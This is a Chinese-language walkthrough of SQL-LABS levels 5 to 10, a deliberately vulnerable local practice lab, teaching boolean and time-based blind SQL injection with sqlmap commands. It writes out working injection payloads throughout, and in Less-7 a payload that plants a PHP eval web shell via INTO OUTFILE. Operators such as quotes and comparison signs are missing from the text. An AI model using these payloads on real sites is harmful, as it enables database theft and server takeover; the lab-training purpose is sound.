SQL-LABS Less5-Less10 盲注实战指南
SQL-LABS Less-5 到 Less-10 盲注实战指南 目录盲注基础知识环境准备Less-5布尔盲注入门Less-6双引号布尔盲注Less-7导出文件注入Less-8时间盲注基础Less-9时间盲注进阶Less-10双引号时间盲注自动化工具使用总结与经验一、盲注基础知识什么是盲注盲注Blind SQL Injection是指在 SQL 注入攻击中页面不会直接回显数据库内容只能通过页面的不同反应来判断注入是否成功。盲注的两种类型类型判断依据速度难度布尔盲注页面内容变化True/False快中等时间盲注页面响应时间变化慢较高为什么需要盲注在真实环境中很多网站❌ 不显示 SQL 错误信息❌ 不回显查询结果✅ 只显示登录成功/失败、存在/不存在等简单提示这时候就必须使用盲注技术。二、环境准备1. 启动 SQL-LABS确保 PHPStudy/XAMPP 已启动访问http://localhost/sqli-labs/2. 工具准备✅ 浏览器Chrome/Firefox✅ Burp Suite可选用于拦截请求✅ SQLMap自动化工具✅ 笔记本记录payload和结果3. 核心 SQL 函数复习函数作用示例length()获取字符串长度length(database())substr()截取字符串substr(database(),1,1)第1个字符ascii()获取字符ASCII码ascii(substr(database(),1,1))if()条件判断if(11, sleep(5), 0)sleep()延迟执行sleep(5)延迟5秒mid()同 substrmid(database(),1,1)三、Less-5布尔盲注入门关卡信息URLhttp://localhost/sqli-labs/Less-5/?id1注入点GET 参数id注入类型单引号字符型布尔盲注页面特征正确时显示 “You are in…”错误时无输出步骤 1判断注入点测试 Payload?id1现象页面无任何输出说明SQL语法错误测试闭合?id1 -- ?id1 # ?id1 and 11结论单引号闭合存在注入点。步骤 2判断数据库名长度Payload 模板?id1 and length(database())5 --测试过程?id1 and length(database())10 -- # 无输出False长度≤10 ?id1 and length(database())5 -- # 有输出True长度5 ?id1 and length(database())8 -- # 无输出False长度≤8 ?id1 and length(database())8 -- # 有输出True长度8结论数据库名长度为8。步骤 3逐字符猜解数据库名Payload 模板?id1 and ascii(substr(database(),1,1))100 --猜解第 1 个字符?id1 and ascii(substr(database(),1,1))100 -- # 有输出ASCII 100 ?id1 and ascii(substr(database(),1,1))110 -- # 有输出ASCII 110 ?id1 and ascii(substr(database(),1,1))115 -- # 无输出ASCII ≤ 115 ?id1 and ascii(substr(database(),1,1))115 -- # 有输出ASCII 115结论第 1 个字符 ASCII 码是115对应字母s。重复步骤猜解剩余字符最终得到数据库名security步骤 4猜解表名先猜解表名数量?id1 and (select count(table_name) from information_schema.tables where table_schemadatabase())3 --猜解第一个表名长度?id1 and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))6 --猜解第一个表名的第一个字符?id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))101 --完整表名列表emailsreferersuagentsusers步骤 5猜解列名和数据猜解 users 表的列名?id1 and ascii(substr((select column_name from information_schema.columns where table_nameusers limit 0,1),1,1))100 --最终获取数据username: admin password: password四、Less-6双引号布尔盲注关卡信息URLhttp://localhost/sqli-labs/Less-6/?id1注入类型双引号字符型布尔盲注与 Less-5 的区别闭合方式从单引号变成双引号核心区别Less-5 闭合SELECT*FROMusersWHEREid$idLIMIT0,1Less-6 闭合SELECT*FROMusersWHEREid$idLIMIT0,1测试闭合方式?id1 # 错误 ?id1 -- # 正确 ?id1 and 11 # 正确Payload 调整只需要把 Less-5 的所有 Payload 中的单引号换成双引号# Less-5 ?id1 and length(database())8 -- # Less-6双引号 ?id1 and length(database())8 --其他步骤完全相同。五、Less-7导出文件注入关卡信息URLhttp://localhost/sqli-labs/Less-7/?id1注入类型导出文件注入INTO OUTFILE闭合方式))双括号单引号核心知识INTO OUTFILE作用将查询结果写入文件。语法SELECTcontentINTOOUTFILE/path/to/file.txt利用条件✅ MySQL 用户有 FILE 权限✅ 知道网站物理路径✅ 目标目录可写步骤 1判断闭合方式?id1 # 错误 ?id1) # 错误 ?id1)) # 错误 ?id1)) -- # 正确步骤 2查看当前路径?id1)) and 12 union select 1,datadir,3 --步骤 3写入一句话木马Payload?id1)) union select 1,?php eval($_POST[cmd]);?,3 into outfile C:/phpStudy/WWW/sqli-labs/shell.php --注意事项Windows 路径用/或\\文件名不能已存在路径必须可写步骤 4连接木马访问http://localhost/sqli-labs/shell.php用菜刀/蚁剑连接密码cmd六、Less-8时间盲注基础关卡信息URLhttp://localhost/sqli-labs/Less-8/?id1注入类型单引号时间盲注页面特征无论输入什么都显示 “You are in…”时间盲注原理页面没有任何变化只能通过响应时间判断条件为真 → 延迟 5 秒条件为假 → 立即返回步骤 1确认时间盲注Payload?id1 and sleep(5) --现象页面延迟约 5 秒后返回。步骤 2判断数据库名长度Payload 模板?id1 and if(length(database())8, sleep(5), 0) --测试过程?id1 and if(length(database())10, sleep(5), 0) -- # 立即返回False ?id1 and if(length(database())8, sleep(5), 0) -- # 延迟5秒True结论数据库名长度为8。步骤 3逐字符猜解数据库名Payload 模板?id1 and if(ascii(substr(database(),1,1))115, sleep(5), 0) --猜解第 1 个字符?id1 and if(ascii(substr(database(),1,1))100, sleep(5), 0) -- # 延迟5秒 ?id1 and if(ascii(substr(database(),1,1))110, sleep(5), 0) -- # 延迟5秒 ?id1 and if(ascii(substr(database(),1,1))115, sleep(5), 0) -- # 延迟5秒确认重复步骤猜解剩余字符得到security注意事项⚠️时间盲注很慢每个字符需要多次请求二分法约 7 次8 个字符 至少 56 次请求每次延迟 5 秒 总共需要280 秒约 5 分钟优化方法使用二分法减少请求次数延迟时间改为 2-3 秒使用自动化工具SQLMap七、Less-9时间盲注进阶关卡信息URLhttp://localhost/sqli-labs/Less-9/?id1注入类型单引号时间盲注与 Less-8 的区别无论输入什么都返回相同内容核心特点更加盲Less-8错误时有提示Less-9任何情况都显示 “You are in…”解题方法完全依赖时间判断步骤与 Less-8 一致# 判断长度 ?id1 and if(length(database())8, sleep(3), 0) -- # 猜解字符 ?id1 and if(ascii(substr(database(),1,1))115, sleep(3), 0) --八、Less-10双引号时间盲注关卡信息URLhttp://localhost/sqli-labs/Less-10/?id1注入类型双引号时间盲注闭合方式解题方法把 Less-8/Less-9 的单引号改成双引号# Less-8/9单引号 ?id1 and if(length(database())8, sleep(3), 0) -- # Less-10双引号 ?id1 and if(length(database())8, sleep(3), 0) --九、自动化工具使用SQLMap 基础用法Less-5布尔盲注sqlmap-uhttp://localhost/sqli-labs/Less-5/?id1--batch--dbsLess-8时间盲注sqlmap-uhttp://localhost/sqli-labs/Less-8/?id1--batch--techniqueT--dbs常用参数--dbs# 列出所有数据库--current-db# 当前数据库名-Dsecurity--tables# 列出 security 库的表-Dsecurity-Tusers--columns# 列出 users 表的列-Dsecurity-Tusers--dump# 导出 users 表数据--techniqueB# 只使用布尔盲注--techniqueT# 只使用时间盲注十、总结与经验核心知识点布尔盲注- 通过页面内容变化判断快时间盲注- 通过响应时间判断慢但通用闭合方式- 单引号、双引号、括号组合核心函数- length()、substr()、ascii()、if()、sleep()关卡对照表关卡注入类型闭合方式难度关键点Less-5布尔盲注⭐⭐⭐基础布尔盲注Less-6布尔盲注⭐⭐⭐双引号闭合Less-7文件导出))⭐⭐⭐⭐INTO OUTFILELess-8时间盲注⭐⭐⭐⭐基础时间盲注Less-9时间盲注⭐⭐⭐⭐完全盲注Less-10时间盲注⭐⭐⭐⭐双引号时间盲注

相关新闻